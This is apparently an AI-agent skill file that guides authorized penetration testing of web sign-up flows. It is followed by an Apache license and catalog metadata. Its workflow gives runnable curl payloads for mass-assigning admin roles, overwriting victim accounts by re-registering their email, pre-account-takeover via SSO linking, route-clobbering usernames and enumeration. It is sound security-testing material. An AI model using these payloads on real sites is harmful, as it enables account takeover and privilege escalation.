---
name: testing-registration-and-account-flaws-ac50f5aca3ca
description: Identifying and exploiting weaknesses in account registration including duplicate/overwrite registration,
  weak password policy, missing email verification, disposable email acceptance, route-clobbering usernames,
  pre-account-takeover, and role mass-assignment.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- registration
- account-takeover
- mass-assignment
- email-verification
- owasp
- web-security
version: '1.0'
author: Krishna Kumar (xalgord)
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
---

# Testing Registration and Account Flaws

## When to Use

- During authorized penetration tests of any self-service sign-up / account-creation flow
- When the application lets users choose usernames, emails, or other identifiers that may collide or clobber resources
- For validating that registration enforces verification, uniqueness, a strong password policy, and server-controlled roles
- When testing for pre-account-takeover where an attacker registers an account before the legitimate owner
- During bug bounty programs targeting broken authentication, mass assignment, and improper input validation (OWASP A04/A07:2021)

## Prerequisites

- **Authorization**: Written penetration testing agreement for the target application
- **Burp Suite Professional**: Proxy + Repeater + Intruder for replaying and tampering sign-up requests
- **Multiple inboxes**: real, plus disposable-mail and "+alias" addresses for verification tests
- **A victim identifier**: an email/username the attacker does not control, to test pre-account-takeover
- **curl / httpie**: For manual request crafting and parameter injection
- **Knowledge of app routes**: to test username values that may collide with paths (admin, images, api)

## Critical: Checks Most Often Missed

Registration flaws quietly enable takeover and privilege escalation. For every
sign-up flow, work through this checklist:

- **Mass-assignment of role/privilege** (highest signal): add fields the form
  never shows — `"role":"admin"`, `"is_admin":true`, `"isStaff":true`,
  `"verified":true`, `"plan":"enterprise"`, `"account_type":"admin"`. If the
  backend binds the whole object, you self-provision privilege at sign-up.
- **Duplicate registration / overwrite**: register an email/username that already
  exists. If it succeeds, it may overwrite the existing account, reset its
  password, or merge — leading to takeover of the original user.
- **Pre-account-takeover (no email validation)**: register the victim's email
  with your password BEFORE they sign up. If the app does not verify email and
  later links an SSO/OAuth login to the same email, you retain access alongside
  the victim.
- **Special-username route clobbering**: register usernames like `admin`,
  `images`, `contact`, `api`, `assets`, `static`, `.well-known`. If profiles live
  at `/{username}`, your account can shadow `/images` or `/admin` and break or
  hijack app routes/content.
- **Missing/weak email verification**: complete registration and use the account
  fully without ever confirming the address; or find the verification token is
  guessable/leaked/reusable.
- **Disposable / plus-alias email acceptance**: `victim+1@`, `victim+2@`, and
  `@mailinator.com` style addresses bypass per-email limits and abuse controls.
- **Weak password policy**: accept `123456`, `password`, single char, or the
  username as the password; no length/complexity/breached-password checks.
- **Username reuse / case & unicode collisions**: `Admin`, `admin `, `аdmin`
  (Cyrillic а), trailing dots/spaces that normalize to an existing user.
- **Registration over HTTP**: the sign-up form posts credentials over cleartext.
- **Enumeration at sign-up**: "email already registered" reveals valid accounts.

## Workflow

### Step 1: Map the Registration Request and Response Model

Capture the full sign-up request, including any hidden or backend-managed fields.

```bash
# Baseline registration; capture the exact JSON the client sends
curl -s -i -X POST "https://target.example.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@yourinbox.com","username":"tester1","password":"Passw0rd!"}'

# Note the response object — it often reveals server-managed fields you can try
# to set yourself, e.g.:
#   {"id":1001,"email":"...","role":"user","verified":false,"plan":"free"}
# -> candidate mass-assignment targets: role, verified, plan
```

### Step 2: Mass-Assignment of Role and Privileged Fields

Inject privileged attributes the form never exposes.

```bash
# Add hidden privilege fields to the body and observe whether they stick
curl -s -i -X POST "https://target.example.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{
        "email":"attacker+ma@yourinbox.com",
        "username":"tester-ma",
        "password":"Passw0rd!",
        "role":"admin",
        "is_admin":true,
        "isStaff":true,
        "verified":true,
        "email_verified":true,
        "plan":"enterprise",
        "account_type":"admin",
        "permissions":["*"]
      }'

# Then read the created account / token claims to confirm the field persisted:
curl -s -H "Authorization: Bearer <token-from-register>" \
  "https://target.example.com/api/account/me" | jq '{role,is_admin,verified,plan}'

# Also try nested + alternate encodings the binder may accept:
#   "user[role]=admin"  (form-encoded nested)
#   {"profile":{"role":"admin"}}
#   role appended as a query param: /api/register?role=admin
```

### Step 3: Duplicate / Overwrite Registration and Username Collisions

Register identifiers that already exist or normalize to existing ones.

```bash
# Register the SAME email/username again and watch for overwrite/merge/reset
curl -s -i -X POST "https://target.example.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@corp.com","username":"victim","password":"Attacker123!"}'
# 200/201 (not "already exists") => possible overwrite; then try logging in
# as victim with Attacker123! to confirm takeover.

# Collision variants that may normalize to an existing account:
for u in "Victim" "victim " "victim." "victim@corp.com " "VICTIM@corp.com" "vіctim"; do
  curl -s -o /dev/null -w "$u -> %{http_code}\n" \
    -X POST "https://target.example.com/api/register" \
    -H "Content-Type: application/json" \
    --data-raw "{\"email\":\"$u\",\"username\":\"$u\",\"password\":\"Passw0rd!\"}"
done
# (note: vіctim uses a Cyrillic 'і' — unicode confusable collision)
```

### Step 4: Special-Username Route Clobbering

Register usernames that collide with application paths.

```bash
# If profiles render at https://target.example.com/{username}, registering a
# reserved word can shadow or break real routes / static assets.
for name in admin images contact api assets static css js login \
            dashboard settings about ".well-known" robots.txt; do
  curl -s -o /dev/null -w "%-14s -> %{http_code}\n" "$name" \
    -X POST "https://target.example.com/api/register" \
    -H "Content-Type: application/json" \
    --data-raw "{\"email\":\"attacker+$name@yourinbox.com\",\"username\":\"$name\",\"password\":\"Passw0rd!\"}"
done

# Then check whether the route now resolves to attacker content / breaks:
curl -s -i "https://target.example.com/images" | head -n 20
# attacker-controlled profile served at /images = route clobbering confirmed
```

### Step 5: Email Verification, Disposable Mail, and Pre-Account-Takeover

Test whether verification is enforced and whether accounts can be pre-claimed.

```bash
# --- Use the account WITHOUT verifying ---
# Register, then immediately call an authenticated endpoint:
curl -s -o /dev/null -w "%{http_code}\n" \
  -H "Authorization: Bearer <token-from-register>" \
  "https://target.example.com/api/account/sensitive-action"
# 200 before any email click = verification not enforced.

# --- Disposable / plus-alias acceptance (bypass per-email limits) ---
for e in "abuse@mailinator.com" "abuse@guerrillamail.com" \
         "victim+1@corp.com" "victim+2@corp.com"; do
  curl -s -o /dev/null -w "$e -> %{http_code}\n" \
    -X POST "https://target.example.com/api/register" \
    -H "Content-Type: application/json" \
    --data-raw "{\"email\":\"$e\",\"username\":\"u-$RANDOM\",\"password\":\"Passw0rd!\"}"
done

# --- Pre-account-takeover ---
# 1) Attacker registers the victim's email + attacker password (no verification)
curl -s -X POST "https://target.example.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@corp.com","username":"victim","password":"Attacker123!"}'
# 2) Later the victim "Sign in with Google/SSO" using victim@corp.com and the
#    app LINKS the federated identity to the pre-existing local account.
# 3) Attacker still logs in with Attacker123! => shared/persistent access.
```

### Step 6: Password Policy, Transport, and Enumeration

Probe credential strength rules, cleartext transport, and account enumeration.

```bash
# --- Weak password policy ---
for p in "1" "123456" "password" "tester1" "aaaaaa"; do
  curl -s -o /dev/null -w "$p -> %{http_code}\n" \
    -X POST "https://target.example.com/api/register" \
    -H "Content-Type: application/json" \
    --data-raw "{\"email\":\"attacker+pw$RANDOM@yourinbox.com\",\"username\":\"u$RANDOM\",\"password\":\"$p\"}"
done
# Any 200/201 for trivial values = weak/missing policy (also test password==username).

# --- Registration over HTTP ---
curl -s -i -X POST "http://target.example.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"a@b.com","username":"u","password":"Passw0rd!"}' | head -n1
# Accepted over http:// = credentials submitted in cleartext.

# --- Account enumeration ---
curl -s -X POST "https://target.example.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"known@corp.com","username":"x","password":"Passw0rd!"}'
# "email already registered" vs generic success = enumeration of valid accounts.
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Mass Assignment** | Backend binds the whole request body to the model, letting attackers set role/verified/plan |
| **Duplicate / Overwrite Registration** | Re-registering an existing identifier overwrites, merges, or resets the original account |
| **Pre-Account-Takeover** | Attacker pre-registers a victim's email; later SSO linking grants shared access |
| **Route Clobbering** | A username equal to an app path (`images`, `admin`) shadows or breaks that route |
| **Email Verification** | Confirming control of the address before granting account capabilities |
| **Disposable / Plus-Alias Email** | Throwaway or `+tag` addresses that bypass per-email abuse limits |
| **Password Policy** | Length/complexity/breached-password rules preventing trivial credentials |
| **Identifier Normalization** | Case/whitespace/unicode handling that can collapse distinct inputs to one account |
| **Account Enumeration** | Sign-up responses revealing which emails/usernames already exist |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Replay and tamper sign-up requests, inject hidden fields, fuzz usernames |
| **Burp Intruder / ffuf** | Bulk-test reserved usernames, password values, and collision variants |
| **Mailinator / temp-mail / +aliases** | Generate disposable inboxes to test verification and abuse limits |
| **jwt_tool** | Inspect tokens issued at registration for injected role/verified claims |
| **curl / httpie** | Manual mass-assignment, overwrite, and transport tests |
| **OWASP ZAP** | Free proxy alternative for request tampering and fuzzing |

## Common Scenarios

### Scenario 1: Admin via Mass Assignment
The registration handler does `User.create(req.body)`. Adding `"role":"admin"` to the JSON body persists an administrative role because no field allowlist exists, granting instant privilege escalation.

### Scenario 2: Pre-Account-Takeover through SSO Linking
The app allows unverified local registration. An attacker registers `ceo@corp.com` with their own password. When the CEO later signs in with Google, the app links the federated identity to the pre-existing local account, leaving the attacker's password valid.

### Scenario 3: Route Clobbering with Reserved Username
User profiles are served at `/{username}`. Registering the username `images` causes `/images` to resolve to the attacker's profile, breaking asset loading and enabling content spoofing on a trusted path.

### Scenario 4: Overwrite Registration Resets Victim
Submitting a registration for an existing email returns success and resets the stored password hash, letting the attacker log in as the original user.

## Output Format

```
## Registration / Account Finding

**Vulnerability**: Privilege Escalation via Mass Assignment at Registration
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/register
**OWASP Category**: A04:2021 - Insecure Design / A07:2021 - Auth Failures

### Reproduction Steps
1. Send POST /api/register with the normal fields plus "role":"admin" and "verified":true
2. Receive 201 Created and an auth token for the new account
3. Call GET /api/account/me and observe role=admin, verified=true
4. Access admin-only endpoints successfully with the self-provisioned account

### Tested Weaknesses
| Test | Result |
|------|--------|
| Mass-assignment role/verified | Persisted (admin) |
| Duplicate/overwrite registration | Overwrites existing user |
| Email verification enforced | No (account usable immediately) |
| Disposable / +alias email | Accepted |
| Weak password ("123456") | Accepted |
| Reserved-username clobbering | /images shadowed |
| Registration transport | http:// accepted |
| Account enumeration | "email already registered" |

### Impact
- Any anonymous user can self-register as an administrator
- Pre-registration of victim emails enables shared access after SSO linking
- Reserved usernames break or hijack trusted application routes

### Recommendation
1. Bind only an explicit allowlist of fields; set role/verified/plan server-side
2. Reject registration for existing identifiers; normalize case/whitespace/unicode before uniqueness checks
3. Require verified email control before granting account capabilities; block disposable domains as policy dictates
4. Enforce a strong, breached-password-checked policy and require HTTPS for sign-up
5. Maintain a reserved-username denylist (admin, images, api, .well-known, etc.) and return generic responses to prevent enumeration
```


---
Source attribution: xalgord
Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/testing-registration-and-account-flaws/SKILL.md
License: Apache-2.0
License information: https://www.apache.org/licenses/LICENSE-2.0
Original upstream instructions; downloaded from Mega AI Hub.

## Upstream license notice


                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright 2026 xalgord

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.



# Mega AI Hub resource metadata

Creator / publisher: xalgord
Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/testing-registration-and-account-flaws/SKILL.md
Attribution basis: Source repository record

Fields of work: Data & Analytics, Development & Engineering
Roles: Data Analyst, DevOps / SRE, QA / Test Engineer, Security Engineer
Specialties: Testing
Tools: Burp Suite, Curl, Httpie
Country applicability: Country not specified
Classification basis: Source catalog labels
Instruction SHA-256: 1547f66d251c8fcb3074d87363aca0835c7fcee7d1c5827a27d7f7b2446bd17e
